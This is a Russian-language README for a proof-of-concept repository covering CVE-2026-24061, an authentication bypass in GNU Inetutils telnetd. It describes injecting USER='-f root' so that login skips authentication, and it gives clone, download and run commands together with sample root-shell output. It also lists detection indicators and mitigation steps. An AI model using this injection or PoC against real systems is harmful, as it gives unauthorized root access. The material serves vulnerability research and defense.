
CVE-2026-24061 Обход аутентификации в GNU Inetutils Telnetd
CVE: CVE-2026-24061
Серьёзность: Критическая
CVSS: 9.8 (Critical)
CWE: CWE-88 — Некорректная нейтрализация разделителей аргументов в команде
Затронутый компонент: GNU Inetutils telnetd
Затронутые версии: с 1.9.3 по 2.7
CVE-2026-24061 — это критическая уязвимость обхода аутентификации в реализации Telnet-сервера, предоставляемой GNU Inetutils. Уязвимость возникает из-за недостаточной проверки управляемой клиентом переменной окружения USER при включённом автоматическом входе Telnet. Вредоносное значение может быть интерпретировано как опция системной программы login, а не как имя пользователя. При уязвимых конфигурациях неаутентифицированный удалённый злоумышленник может использовать это поведение для вызова login с опцией -f и обхода аутентификации, потенциально получая оболочку с привилегиями запрошенной учётной записи.
Когда затронутый Telnet-сервис работает с привилегиями root, успешная эксплуатация может привести к неаутентифицированному удалённому доступу с правами root.
Уязвимый поток выполнения можно описать следующим образом:
Telnet-клиент
│
│ USER=-f root
▼
telnetd
│
│ формирует аргументы login
▼
login -f root
│
│ обход аутентификации
▼
root-оболочка
Проблема возникает из-за взаимодействия между функцией автоматического входа Telnet и обработкой переменной окружения USER.
Управляемое злоумышленником значение:
-f root
не обрабатывается строго как имя пользователя. Вместо этого оно может стать аргументом для login, что приводит к поведению, эквивалентному:
login -f root
Опция -f указывает login обойти обычный процесс аутентификации для указанного пользователя.
Репозиторий включает доказательство концепции на Python 3, которое выполняет Telnet-подключение, обрабатывает необходимые переговоры по протоколу, внедряет вредоносное значение USER и проверяет полученную сессию.
git clone https://github.com/Ish3ng0m4/CVE-2026-24061-Telnetd.git
cd CVE-2026-24061-Telnetd
chmod +x poc.py
python3 poc.py <TARGET> <PORT>
wget https://raw.githubusercontent.com/Ish3ng0m4/CVE-2026-24061-Telnetd/main/poc.py
Сделайте PoC исполняемым:
chmod +x poc.py
Запустите его, указав адрес цели и Telnet-порт:
python3 poc.py <TARGET> <PORT>
python3 poc.py 127.0.0.1 23
Успешная эксплуатация
CVE-2026-24061 - GNU Inetutils telnetd Auth Bypass
[*] Target: 127.0.0.1:23
[+] Connected
[*] Injected USER=-f root
[+] VULNERABLE
Затем PoC предоставляет интерактивную сессию.
id
uid=0(root) gid=0(root) groups=0(root)
Это подтверждает, что механизм аутентификации Telnet был обойдён, и полученная сессия имеет привилегии root.
Эксплойт выполняет следующие операции:
Подключается к целевому Telnet-сервису. Выполняет необходимые переговоры по протоколу Telnet. Включает поведение автоматического входа, необходимое для эксплуатации. Передаёт вредоносное значение USER=-f root. Позволяет уязвимой реализации telnetd передать изменённое значение в login. Получает результирующую сессию. Предоставляет оператору интерактивный терминал.
PoC не полагается на учётные данные для уязвимого пути аутентификации.
Эксплуатация зависит от конфигурации цели и взаимодействия между telnetd и реализацией login в системе.
Основные условия:
GNU Inetutils telnetd в пределах затронутого диапазона версий.
Telnet-сервис доступен злоумышленнику.
Функция автоматического входа включена или доступна.
Уязвимая обработка переменной окружения USER.
Совместимая реализация login, способная интерпретировать внедрённую опцию.
Следовательно, наличие затронутой версии Inetutils само по себе не должно рассматриваться как доказательство возможности эксплуатации. Также необходимо учитывать патчи дистрибутивов и конфигурацию сервиса.
CVE-2026-24061 может полностью скомпрометировать уязвимую систему.
В зависимости от привилегий, с которыми работает telnetd, эксплуатация может предоставить:
Обход аутентификации
Несанкционированный доступ к локальным учётным записям
Удалённое выполнение команд
Повышение привилегий
Доступ уровня root
Полную компрометацию системы
Сценарий с наибольшим риском — это удалённо доступный Telnet-сервис, где эксплуатация приводит к сессии с правами root.
Возможные индикаторы эксплуатации включают:
Неожиданные подключения к TCP/23.
Попытки аутентификации Telnet с необычными именами пользователей.
Подозрительные значения USER, начинающиеся с опций командной строки.
Неожиданные аргументы процесса login.
Сессии root, исходящие от telnetd.
Неожиданные процессы, порождённые Telnet-сервисом.
Мониторинг сети также должен выявлять системы, без необходимости открывающие Telnet-сервисы.
Рекомендуемый ответ — удалить Telnet и использовать SSH для удалённого администрирования.
Если Telnet невозможно немедленно удалить:
Обновите до версии, предоставленной поставщиком и содержащей исправление безопасности.
Примените соответствующее обновление безопасности операционной системы.
Ограничьте TCP/23 доверенными сетями управления.
Предотвратите прямое воздействие Telnet на ненадёжные сети.
Отслеживайте аутентификацию Telnet и активность процессов.
Поскольку дистрибутивы Linux могут переносить исправления безопасности без изменения номера версии вышестоящего проекта, администраторам следует проверять статус безопасности пакета своего дистрибутива, а не полагаться исключительно на отображаемую версию.
Уязвимость была успешно воспроизведена против уязвимого Telnet-сервиса GNU Inetutils, работающего на Ubuntu 22.04.5 LTS.
PoC установил подключение к TCP/23, внедрил:
USER=-f root
и получил сессию root.
Проверка привилегий вернула:
uid=0(root) gid=0(root) groups=0(root)
Это даёт прямое подтверждение влияния на безопасность.
Это доказательство концепции предоставлено для исследований в области безопасности, проверки уязвимостей, авторизованного тестирования на проникновение и образовательных целей.
Тестируйте только те системы, на которые у вас есть явное разрешение.
Gabriel D. Ishengoma
Offensive Security · Cybersecurity Research · Digital Forensics